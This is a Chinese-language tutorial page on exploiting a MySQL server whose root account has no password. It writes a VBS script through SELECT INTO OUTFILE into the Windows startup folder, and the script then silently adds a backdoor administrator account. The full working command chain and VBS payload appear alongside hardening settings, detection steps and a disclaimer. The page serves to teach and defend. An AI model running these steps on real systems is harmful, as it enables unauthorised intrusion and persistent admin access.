首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL root 空密碼攻擊實戰:利用 INTO OUTFILE 寫入 VBS 啟動腳本獲取系統權限

     編輯:MySQL 資料庫相關知識

⚠️ 僅供安全研究與防禦加固參考,嚴禁用於非授權滲透測試。

場景:目標 MySQL 開放遠程連線(3306)、root 帳號**無密碼**、且擁有 FILE 權限(預設 root 擁有)。攻擊者可透過 SELECT ... INTO OUTFILE 向啟動資料夾寫入 VBS 腳本,下次系統啟動/用戶登入時自動執行,建立管理員帳號,實現提權持久化。

攻擊鏈完整複現(Windows 環境)

  1. 連線目標:mysql -u root -h 192.168.0.1(無密碼直接進入)。
  2. 選庫建表:USE test; CREATE TABLE a (cmd TEXT);
  3. 寫入惡意 VBS 指令(三行構建完整腳本):
    INSERT INTO a VALUES ('Set wshShell = CreateObject("WScript.Shell")');
    INSERT INTO a VALUES ('a = wshShell.Run("cmd.exe /c net user zjl317 zjl317 /add", 0)');
    INSERT INTO a VALUES ('b = wshShell.Run("cmd.exe /c net localgroup administrators zjl317 /add", 0)');
    

    • 0 參數 = 隱藏視窗執行(無 DOS 黑框閃現)。
    • 雙引號轉義:SQL 字串中雙引號用 "" 表示。

  4. 驗證表內容:SELECT * FROM a; 確認三行指令無誤。
  5. 導出至啟動資料夾:
    SELECT * FROM a 
    INTO OUTFILE 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程式\\啟動\\a.vbs'
    CHARACTER SET utf8;
    

    • 路徑需用雙反斜線 \\ 轉義。
    • 中文路徑視系統語言調整(XP/2003 常見路徑)。

  6. 觸發條件:受害機器**重啟**或**該用戶登入**,VBS 自動運行,建立管理員帳號 zjl317/zjl317。

核心利用點分析

條件說明防禦對策
root 空密碼安裝預設即為空,極常見安裝後立即設強密碼,mysql_secure_installation
遠程連線開放預設 bind-address=0.0.0.0 或防火牆放行 3306bind-address=127.0.0.1、防火牆僅信任應用伺服器 IP
FILE 權限root 預設擁有,GRANT FILE ON *.*應用帳號**嚴禁** FILE,root 僅本地連線
INTO OUTFILE 寫檔需目標目錄寫入權限、secure_file_priv 未限制secure_file_priv=/var/lib/mysql-files/ 限制導出目錄
啟動資料夾寫入Windows 特性,All Users 啟動需管理員權限資料夾 ACL 鎖定、啟動項監控 (Sysinternals Autoruns)

MySQL 內建防禦參數(必開)

[mysqld]
# 限制 LOAD DATA / SELECT INTO OUTFILE 只能在指定目錄
secure_file_priv = /var/lib/mysql-files/

# 禁止符號連結(防止繞過目錄限制)
symbolic-links = 0

# 本地僅監聽(無業務需求勿開放遠程)
bind-address = 127.0.0.1

# 強制 SSL 傳輸(5.7+)
require_secure_transport = ON

事後檢測與清理

  • 檢查啟動資料夾:`shell:startup`、`shell:common startup` 是否有異常 `.vbs/.bat/.exe`。
  • 查詢可疑帳號:`net user` / `wmic useraccount get name,status`。
  • 審計 MySQL 通用日誌/審計日誌:搜尋 INTO OUTFILE、CREATE TABLE、INSERT 異常操作。
  • 執行 mysql_secure_installation 完成:設 root 密碼、移除匿名帳號、禁止 root 遠程、移除 test 庫、重載權限。

法律與道德聲明

本文旨在揭示**配置不當導致的嚴重後果**,指導管理員完成最小權限、網路隔離、審計監控等加固措施。任何未經授權對他人系統實施上述操作均屬違法,後果自負。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved